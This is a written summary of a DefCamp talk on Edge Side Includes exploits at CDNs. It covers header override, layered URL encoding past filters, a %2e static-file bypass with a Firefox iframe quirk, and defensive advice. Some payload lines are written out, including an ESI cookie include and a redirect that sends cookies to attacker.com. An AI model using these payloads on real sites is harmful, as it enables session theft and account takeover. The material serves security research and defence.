Hacking the Edge: Real-World ESI Exploits

Hacking the Edge: Real-World ESI Exploits

Speakers: Robert Vulpe, Senior Security Engineer, UiPath

Conference: DefCamp

YouTube: https://www.youtube.com/watch?v=slw4k0WcnDQ

Overview

In his compelling DefCamp talk, "Hacking the Edge: Real-World ESI Exploits," Robert Vulpe, a Senior Security Engineer at UiPath and prolific bug bounty hunter, delves into the often-overlooked vulnerabilities lurking within Edge Side Includes (ESI). Vulpe illuminates how this legacy technology, designed to inject dynamic content into cached pages via Content Delivery Networks (CDNs) like Akamai, can be weaponized by attackers to achieve severe impacts, including Cross-Site Scripting (XSS) and full account takeovers, even in contexts traditionally considered secure.

The presentation provides a deep dive into two distinct, high-impact vulnerabilities discovered through bug bounty efforts, showcasing ingenious bypasses of modern security controls. Vulpe demonstrates how an understanding of ESI's unique processing model at the edge, combined with an awareness of browser quirks, can unravel seemingly robust defenses. His work serves as a critical reminder for developers and security professionals to audit legacy features, particularly those that handle dynamic content processing at the network edge, as they often harbor unexpected and exploitable weaknesses.

This talk is particularly significant because it highlights a class of vulnerabilities that stem not from application-level code errors in modern frameworks, but from the interaction of application logic with older, opt-in CDN functionalities. By dissecting real-world exploits, Vulpe emphasizes the importance of a holistic security perspective that extends beyond the immediate application stack to include the entire delivery chain, especially when dealing with decades-old technologies that were designed without contemporary security concerns in mind.

Background

▶ Watch: Introduction and What is ESI? (0:00)

Edge Side Includes (ESI) is a markup language that allows web developers to assemble web pages from multiple components at the CDN or proxy layer, rather than on the origin server. Introduced around 2001, ESI was designed to improve performance by enabling dynamic content to be cached alongside static content. For example, an e-commerce site might serve a largely static product page but use ESI to include a dynamically generated shopping cart or user-specific regional information, like <!-- ESI:include src="shopping_cart" -->. These ESI tags are processed by the CDN (Akamai is frequently mentioned in the talk) and replaced with live snippets before the page is delivered to the end-user.

The fundamental problem with ESI, as Vulpe explains, is its age and the context in which it operates. Developed in an era with a significantly different threat landscape, ESI implementations often lack the robust security considerations inherent in modern web development. While CDNs like Akamai implement ESI, they explicitly state it's an opt-in legacy feature, often accompanied by warnings about its maintenance status. This means that if a website chooses to enable ESI, it bears the responsibility for securing its usage.

Attackers can leverage ESI when user-controlled input is reflected within an ESI-enabled context. Because ESI tags are processed at the CDN level, they can manipulate the HTTP response before it even reaches the browser, bypassing application-level sanitization or Web Application Firewalls (WAFs) that might otherwise prevent injection attacks. This "edge" processing creates a blind spot where traditional security measures, focused on the origin server or browser, become ineffective. The talk demonstrates that when an application reflects user input into a page that is subsequently processed by an ESI-enabled CDN, it can lead to powerful server-side injection vulnerabilities, effectively turning a seemingly innocuous reflection into a critical security flaw.

Key Findings

▶ Watch: Second exploit: Bypassing static file detection (10:10)

Robert Vulpe's research into ESI exploits yielded several critical findings, demonstrating how this legacy technology can be leveraged for severe attacks:

1. Cookie Reflection via ESI: ESI allows for the direct reflection of HTTP cookies using constructs like $(HTTP_COOKIE). This capability is a foundational element for account takeover scenarios, as it enables attackers to exfiltrate session tokens.
2. add_header Directive for Content-Type Bypass: A key discovery was the ESI add_header directive. This directive, processed at the very last layer by the CDN before sending the response, can overwrite arbitrary HTTP headers. This was critically exploited to change the Content-Type from application/json to text/html, enabling XSS in contexts where it would otherwise be impossible.
3. URL Encoding for Input Filter Evasion: To bypass strict input filters and WAFs that might block common XSS tags like <script> or <iframe>, Vulpe found that multiple layers of URL encoding (e.g., quadruple URL encoding) could successfully obfuscate the payload, allowing the ESI processor to eventually decode and execute the malicious HTML.
4. Static File ESI Evaluation Bypass: ESI is typically not evaluated in static files (like .json, .css, .js) for performance reasons. However, by URL encoding the dot in the file extension (e.g., example.com/file%2ejson), the CDN no longer recognizes it as a static file, forcing ESI evaluation.
5. Browser-Specific URL Decoding Quirks: Exploiting the static file bypass required understanding browser behavior. Browsers often normalize URL-encoded characters (like %2e to .) in the URL bar. Vulpe discovered that within an <iframe> tag, specifically in Firefox (and later Safari), this normalization does not occur, allowing the %2e bypass to function. This highlights the importance of browser compatibility testing in security research.
6. Account Takeover Potential: Both primary vulnerabilities demonstrated a path to full account takeover by exfiltrating session cookies, proving high impact for bug bounty programs.
7. Direct Cookie Exfiltration without XSS: Vulpe noted that in many ESI reflection scenarios, an XSS payload isn't strictly necessary for impact. ESI can be used to redirect a victim to an attacker-controlled site while directly exfiltrating cookies, effectively functioning as an open redirect with sensitive data leakage.
8. CRLFL Injection in add_header: The add_header directive is also vulnerable to CRLF injection, allowing attackers to inject arbitrary new headers by including \r\n sequences in the header value. While the add_header itself already offers significant control, this adds another layer of potential manipulation.
9. Automated Discovery: The research successfully automated the discovery of ESI vulnerabilities using open-source tools like Gau (for web archive links) and Katana (for crawling), combined with custom deduplication and brute-forcing of parameters. This led to the discovery of over 15 ESI vulnerabilities.

Technical Deep Dive

▶ Watch: Browser-specific iframe bypass for dot encoding (13:50)

The core of Vulpe's talk revolves around two distinct, yet equally impactful, ESI exploitation techniques. Both demonstrate how ESI's processing model can circumvent traditional web security paradigms.

Vulnerability 1: Content-Type Bypass via ESI add_header and URL-Encoded XSS

The first vulnerability targeted an API endpoint that returned application/json. In such a context, injecting HTML for Cross-Site Scripting (XSS) is typically impossible because the browser interprets the response as JSON data, not renderable HTML. However, ESI's unique processing at the CDN layer provided a critical bypass.

The key insight was the ESI add_header directive. This directive allows the CDN to inject or override HTTP response headers after the origin server has processed the request but before the response is sent to the client. Crucially, this happens at the "last layer" of HTTP parsing, meaning it can override any Content-Type header set by the application or earlier proxies.

The attack payload leveraged this by injecting an ESI tag that changed the Content-Type to text/html:

By itself, this would change the response type. However, to achieve XSS, malicious HTML tags (like <script> or <iframe>) also needed to be injected. The challenge was that the vulnerable endpoint had strict input filters, likely a WAF, that would block such tags. Vulpe's solution was to employ multiple layers of URL encoding. Specifically, quadruple URL encoding was used to obfuscate the XSS payload. For example, a <script> tag would be encoded four times:

1. <script> -> %3cscript%3e
2. %3cscript%3e -> %253cscript%253e
3. %253cscript%253e -> %25253cscript%25253e
4. %25253cscript%25253e -> %2525253cscript%2525253e

The full payload would then look something like this (simplified for clarity, as the actual payload would be much longer with the quadruple encoding):

When this crafted input was sent, the CDN would first decode the ESI tag, execute the add_header directive to set Content-Type: text/html, and then decode the quadruple-encoded XSS payload. The browser, receiving a text/html response containing the decoded <script> tag, would then execute the JavaScript.

The ultimate impact of this was account takeover. Once XSS was achieved, the attacker could use JavaScript to exfiltrate the victim's session cookie (which could also be directly reflected by ESI using $(HTTP_COOKIE)) to an attacker-controlled domain. This bypass effectively turned a seemingly secure JSON API endpoint into a critical XSS vector.

Vulnerability 2: ESI Evaluation in Static Files via URL Encoding and Browser Quirks

The second vulnerability targeted a .json file that reflected user input. Similar to the first case, ESI tags were not being evaluated because the CDN (Akamai) considered .json files to be static assets, and thus bypassed ESI processing for performance reasons.

The initial breakthrough was realizing that if the CDN didn't recognize the file extension, it might treat the file as dynamic content and process ESI tags. This was achieved by URL encoding the dot (.) in the file extension from .json to %2ejson. So, a URL like example.com/path/data.json would become example.com/path/data%2ejson. When the CDN encountered %2ejson, it didn't immediately identify it as a static JSON file, forcing it to evaluate any ESI tags present in the response body.

However, a significant hurdle emerged: modern web browsers (Chrome, Firefox, Safari) often "helpfully" decode %2e back to . when it's entered in the URL bar. This browser-side normalization prevented the exploit from working directly.

Vulpe and his collaborator discovered a crucial browser quirk: this normalization behavior did not occur when the URL was loaded within an <iframe> tag, specifically in Firefox (and later Safari). This meant that an attacker could embed a malicious iframe on their site pointing to example.com/path/data%2ejson with the ESI payload, and Firefox would preserve the %2e, allowing the CDN to evaluate the ESI.

The ESI payload in this context would typically be an XSS one, similar to the first vulnerability, or an ESI include for cookies:

The sequence of events for this exploit:

1. Attacker hosts a page with an <iframe> pointing to victim.com/api/data%2ejson?input=<!-- ESI:include src='$(HTTP_COOKIE)' -->.
2. The victim's Firefox browser loads the iframe. Crucially, Firefox does not decode %2e to . within the iframe's URL.
3. The request reaches Akamai (or other CDN). Akamai sees %2ejson and, not recognizing it as a standard static file extension, proceeds to evaluate ESI tags within the response.
4. The ESI tag <!-- ESI:include src='$(HTTP_COOKIE)' --> is processed, reflecting the victim's session cookie into the iframe.
5. The attacker's JavaScript on the parent page (or within the iframe itself if XSS is achieved) can then exfiltrate the cookie.

Initially, this XSS was limited to an <iframe> and only on Firefox (and Safari). While this might seem like a reduced impact, bug bounty programs still consider it high severity, especially given Firefox's significant user base (around 10%). Vulpe also noted that Firefox's behavior eventually changed, making the %2e trick work directly in the URL bar without an iframe, further broadening the attack surface.

To achieve full account takeover despite SameSite cookie restrictions (which often prevent cookies from being read across different origins or even subdomains within an iframe), the researchers had to find an additional interaction on a subdomain of the target. This interaction allowed them to render an iframe from another part of the scope, effectively bypassing SameSite and enabling cookie exfiltration.

Demo / Proof of Concept

▶ Watch: Automated discovery of ESI vulnerabilities (18:20)

While the talk did not feature a live, interactive demonstration, Robert Vulpe thoroughly detailed the proof-of-concept payloads and their observed effects, clearly illustrating how the vulnerabilities could be exploited to achieve high impact.

For the first vulnerability, involving the ESI add_header directive, the proof of concept involved crafting a specific HTTP request that included the following ESI payload in a user-controlled input parameter:

When this payload was reflected and processed by the ESI-enabled CDN, the add_header directive would override the Content-Type to text/html. Concurrently, the CDN would decode the quadruple URL-encoded JavaScript payload. The browser would then execute the JavaScript, sending the victim's session cookies to the attacker's server, thus demonstrating an account takeover. The success of this PoC relied on the CDN's ESI parser correctly decoding the input and the add_header directive taking precedence over the application's original Content-Type.

For the second vulnerability, which involved bypassing ESI evaluation in static files, the proof of concept was more nuanced due to browser-specific behaviors. The core of the PoC was to demonstrate that a URL like https://victim.com/api/data%2ejson?input=<!-- ESI:include src='$(HTTP_COOKIE)' --> would cause the CDN to evaluate the ESI tag. The critical part of the demonstration was showing that this only worked when loaded inside an <iframe> on specific browsers like Firefox (and later Safari), because these browsers preserved the %2e encoding, preventing normalization to ..

The impact of this PoC was again account takeover. By injecting <!-- ESI:include src='$(HTTP_COOKIE)' --> into the .json file via the %2e trick, the victim's session cookie would be reflected directly into the iframe. An attacker could then use JavaScript from a parent page (if SameSite restrictions allowed, or through a chained vulnerability as described in the talk) to read the iframe's content and exfiltrate the cookie. Vulpe explicitly stated that they were able to "prove the account takeover for this and like gain the high severity," confirming the PoC's effectiveness in a real-world bug bounty context.

An interesting bonus PoC mentioned was the ability to directly exfiltrate cookies using ESI without resorting to XSS at all. If an ESI injection point exists, an attacker could simply inject <!-- ESI:include src='$(HTTP_COOKIE)' --><!-- ESI:redirect url='https://attacker.com/log?cookie=$(HTTP_COOKIE)' -->. This would cause the CDN to redirect the user to the attacker's site, passing the HTTP_COOKIE as a URL parameter, demonstrating a powerful data exfiltration vector that might otherwise be dismissed as a low-impact "open redirect."

Defensive Implications

▶ Watch: Q&A: How to secure against ESI exploits (20:40)

Robert Vulpe's talk provides crucial insights for defenders looking to secure their web applications against ESI-related vulnerabilities. Given that ESI is a legacy, opt-in technology, the primary recommendation revolves around its careful management or outright removal.

1. Remove ESI if Not Strictly Necessary: The most definitive solution, according to Vulpe and echoed by Akamai representatives, is to completely remove ESI functionality if it is not absolutely critical to the application's operation. As a legacy feature that is often unmaintained by CDNs, using ESI introduces a significant attack surface that modern security controls are not designed to protect. If a website can function without ESI, disabling it eliminates an entire class of potential vulnerabilities.

1. Strict Output Encoding for ESI Contexts: If ESI must be used, developers must implement strict output encoding for any user-controlled input that might be reflected within an ESI-processed context. Specifically, characters like <, >, &, and quotes should be properly encoded to prevent the injection of ESI directives or malicious HTML. In JSON contexts, ensuring that < and > are encoded (e.g., as \u003c and \u003e) is paramount, even if the Content-Type is expected to be application/json. This prevents both ESI injection and subsequent XSS if a Content-Type bypass is found.

1. Implement Robust WAF Rules for ESI Keywords: As a stop-gap or supplementary measure, organizations can deploy Web Application Firewalls (WAFs) to block known ESI keywords in user input. While Vulpe noted that a program he worked with implemented such a WAF to block "anything ESI in the input," he also acknowledged that finding bypasses for such WAFs can be challenging. However, relying solely on a WAF is not a perfect solution, as sophisticated encoding techniques (like the quadruple URL encoding demonstrated) can often bypass signature-based WAFs. A WAF should ideally be part of a layered defense, not the sole protection.

1. Audit Legacy Endpoints and CDN Configurations: Organizations should conduct thorough security audits of all legacy endpoints, particularly those that interact with CDN features like ESI. This includes reviewing CDN configurations to identify where ESI is enabled and how it processes dynamic content. It's crucial to understand which parts of the application are subject to ESI evaluation and to ensure that any user-controlled data processed by ESI is meticulously sanitized and encoded.

1. Be Aware of Browser Inconsistencies: The research highlighted how browser-specific behaviors (e.g., URL decoding of %2e in iframes) can create exploitable conditions. Defenders should be aware that security assumptions based on one browser's behavior might not hold true across all browsers, especially when dealing with complex interactions between application, CDN, and client. Comprehensive testing across different browsers and contexts is advisable.

1. Recognize ESI as a Server-Side Injection Vector: It's vital for security teams to recognize ESI not just as a client-side issue, but as a potent server-side injection vector. The ability to manipulate HTTP headers or include arbitrary content at the CDN level means ESI vulnerabilities can bypass many traditional application-layer defenses. Treat ESI reflection with the same severity as other server-side injection flaws.

By focusing on these defensive strategies, organizations can significantly reduce their exposure to ESI-related exploits and better secure their web presence against sophisticated attacks leveraging these often-forgotten edge technologies.

Key Takeaways

• Legacy Technologies are High-Risk: Older, opt-in technologies like ESI, developed before modern security paradigms, are often fertile ground for severe vulnerabilities due to outdated design and lack of maintenance.
• ESI Bypasses Modern Controls: Edge Side Includes can bypass contemporary security measures, including Content-Type restrictions and WAF input filters, by manipulating HTTP responses at the CDN level before they reach the application or browser.
• Deep Understanding of Protocols is Crucial: Exploiting ESI often requires a detailed understanding of HTTP processing, CDN behavior, URL encoding, and even browser-specific quirks (e.g., %2e decoding in iframes) to chain vulnerabilities effectively.
• Account Takeover is a Real Threat: ESI vulnerabilities can lead to full account takeover through XSS by exfiltrating session cookies, or even direct cookie exfiltration via ESI-driven redirects.
• Automated Discovery is Effective: Open-source tools combined with custom logic can effectively automate the discovery of ESI injection points, highlighting the scalability of these attack vectors.
• Prioritize Removal or Strict Encoding: The strongest defense against ESI exploits is to remove the functionality entirely if not essential. If ESI must be used, rigorous output encoding for all user-controlled input in ESI-processed contexts is critical.

About the Speaker(s)

Robert Vulpe is a Senior Security Engineer at UiPath, where he applies his expertise in securing complex software systems. Beyond his corporate role, Robert is a highly active and successful bug bounty hunter, known for discovering vulnerabilities in major platforms. His achievements include earning spots on the Hall of Fame for prominent companies such as PayPal, Amazon, and Epic Games, among many others. Robert is passionate about security research and enjoys Brazilian Jiu-Jitsu in his free time.